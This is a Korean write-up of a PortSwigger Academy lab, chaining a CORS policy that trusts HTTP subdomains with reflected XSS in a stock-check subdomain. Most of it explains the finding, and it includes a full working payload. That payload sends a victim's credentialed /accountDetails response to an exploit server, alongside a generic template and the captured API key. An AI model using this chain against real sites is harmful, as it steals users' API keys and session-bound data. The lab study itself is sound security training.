CORS 실습(3) - Trusted insecure protocol을 이용한 데이터 탈취 (PortSwigger Academy)
HTTP subdomain을 신뢰하는 CORS 설정과 XSS를 결합해 admin API key를 탈취하는 과정
Lab: CORS vulnerability with trusted insecure protocols
Lab Link: CORS vulnerability with trusted insecure protocols
개요
이 lab은 CORS 설정 자체는 얼핏 정상처럼 보이지만
HTTP 프로토콜까지 포함해서 subdomain을 신뢰한다는 점이 핵심이다.
여기에 XSS까지 겹치면서
결국 admin API key를 외부로 빼낼 수 있는 구조가 된다.
문제 접근
CORS 취약점 찾기
로그인 후 계정 페이지를 보면
API key를 가져오는 요청이 따로 존재한다.
응답을 보면 CORS 관련 헤더가 포함되어 있다.
이건 cross-origin 요청에서도
쿠키를 포함해서 요청을 보낼 수 있다는 의미다.
이전 Lab들과 마찬가지로,
Origin을 바꿔보면 어떻게 되는지 확인해봤다.
Case 1. 랜덤 Origin 추가
1
Origin: https://abc.com
Access-Control-Allow-Credentials: true 값은 그대로 적용되지만, Access-Control-Allow-Origin 헤더는 응답에 포함되어있지 않는다.
Case 2. origin: null 추가
1
Origin: null
위 Case 1과 동일하게 적용된다.
Case 3. Host와 동일하게 적용
Host와 동일한 주소를 오리진으로 사용.
Access-Control-Allow-Origin: true 헤더를 반환하는걸 확인 할 수 있다.
https가 아닌 http요청에도 동일한 헤더를 반환. 여기서 알 수 있는 건, subdomain이면 protocol 상관없이 전부 신뢰한다는 점이다.
이어서 subdomain 각각 앞과 뒤에 랜덤한 스트링을 추가해보자.
Case 4. Subdomain 뒤에 추가
web.com이라는 스트링을 추가한 결과,
Access-Control-Allow-Origin을 반환하지는 않음.
Case 5. Subdomain 앞에 추가
Subdomain 앞에 vulnerable-website을 붙혔더니 응답에 reflect하는걸 확인할 수 있었다.
이로써 우리가 알 수 있는건,
- subdomain이면 protocol이 HTTPS든 HTTP든 구분 없이 신뢰하고 있으며,
- 또한 origin 검증이 느슨해서 특정 패턴에만 맞으면 앞에 임의의 문자열이 붙어도
Access-Control-Allow-Origin헤더를 반환한다는 점이다.
취약점 연결
CORS 취약점을 찾아낸 상태만으로는 바로 공격이 되진 않는다.
이 Application의 다른 취약점을 찾아 연계할 수 있는 방법을 찾아야한다.
이 Application에서는, 상품 페이지에서 stock을 확인할 수 있는 기능이 있다.
요청이 전송되면 상품의 stock이 몇개인지 반환하는 기능이다.
해당 기능을 Burp로 살펴보자.
지정된 productId와 storeId를 참조해서 갯수를 반환하는것으로 보여진다.
여기서 우리는 GET 요청에 간단한 XSS스크립트를 전송해 XSS에 취약한지 확인해 볼수 있다.
요청
응답
응답을 보면,
1
2
3
<script>
alert(1)
</script>
응답에 그대로 반영되어 실행된다.
이 대목에서 정리 하자면,
- 이 Application은 subdomain을 trust하고 있다는점
- subdomain page (stock check 기능)에서 XSS가 가능하다는점 을 찾을 수 있었다.
이제 이 두가지를 연계해서 exploit해보자.
1
2
3
4
5
HTTP subdomain + XSS 가능
→ 공격자가 스크립트 실행
→ CORS로 메인 도메인 요청
→ credential 포함 응답 수신
→ 데이터 탈취
Exploit 작성
exploit server에 아래 payload를 올린다.
1
2
3
<script>
document.location="http://stock.0a770028031d38df8193d9a10062003f.web-security-academy.net/?productId=3<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a770028031d38df8193d9a10062003f.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0ace00a5033138c48148d851012400b1.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
document.location을 지정함으로써 방문하는 피해자 브라우저를 강제로 다른 페이지로 이동시키게 된다. 그리고 이동된 페이지는 XSS가 가능한 이 Application의 subdomain으로, XSS 스크립트를 실행하며, subdomain은 trusted origin으로 허용되어 있기 때문에, 해당 origin에서 발생한 요청은 CORS로 응답을 읽을 수 있다.
코드를 잠깐 살펴보자면 다음과 같이 이해하면 되겠다.
http://stock.~~~~.web-security-academy.net
HTTP를 허용하며, CORS에서 Trusted Subdomain으로 허용, XSS가능한 파라미터 존재로 인해 코드 실행이 가능한 trusted origin 역할을 한다.
?productId=3<script> ... </script>&storeId=1
XSS에 취약한 구간으로, <script>를 넣어서 XSS를 발생시키며 여기서부터 내가 원하는 JavaScript가 실행된다.
이후에는 이전 Lab에서 살펴봤듯,
var req = new XMLHttpRequest();
브라우저에서 HTTP 요청 보내기 위한 객체를 만듦
req.onload = reqListener;
요청이 끝나면 reqListener 실행
req.open('get','https://0a770028031d38df8193d9a10062003f.web-security-academy.net/accountDetails',true);
앞서 나왔던, /accountDetails페이지에는 API Key를 포함하고 있기 때문에 타겟을 해당 URL로 지정해줌.
req.withCredentials = true;
쿠키를 포함시킨다. 이 옵션이 켜지면 브라우저는 자동으로 Cookie: session=피해자 세션을 가져오게끔 붙여서 요청을 보낸다.
req.send();
요청을 전송
1
2
3
function reqListener() {
location='https://exploit-.../log?key='+this.responseText;
};
가져온 response를 그대로 exploit server로 보냄으로써 가로채기가 성공한다.
형식적으로는 아래와 같이 표현할 수 있겠다.
1
2
3
4
5
6
7
8
9
10
11
12
<script>
document.location="http://XSS가 가능한 subdomain<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://타겟(API Key를 포함)으로 하는 URL',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://공격자의 서버/log?key='%2bthis.responseText;
};
%3c/script>&storeId=1"
</script>
여기서 중요한 점은, %2b, %3c와 같이 URL encoding을 진행 해줘야 한다는 점이다.
HTML 파싱 단계에서 <script>가 먼저 실행되거나 끊어지는 것을 막고, 문자열로 유지한 상태에서 나중에 실행되도록 하기 위해 진행해준다.
공격 실행
exploit code를 저장 후에 피해자에게 공격자의 서버를 접속하게 만들면,
피해자는 XSS가 포함된 URL로 redirect 되며, XSS를 실행, 결과적으로 피해자(admin)의 API key가 넘어온다.
log에서 해당 API Key sFx8hNfy7oe7jQNuFCenpnsF73UTh97t를 제출하면서 Lab이 마무리 된다.
정리
이 lab은 두 가지가 겹치면서 터진다.
하나는 HTTP subdomain까지 신뢰하는 CORS 설정,
다른 하나는 그 subdomain에서 가능한 XSS다.
둘 중 하나만 있었으면 크게 문제 되지 않았을 수 있는데
둘이 연결되면서 그대로 데이터 탈취까지 이어진다.
결국 CORS에서 중요한 건
“어디까지 신뢰하느냐”가 아니라
“그 신뢰 대상이 정말 안전하냐”다.















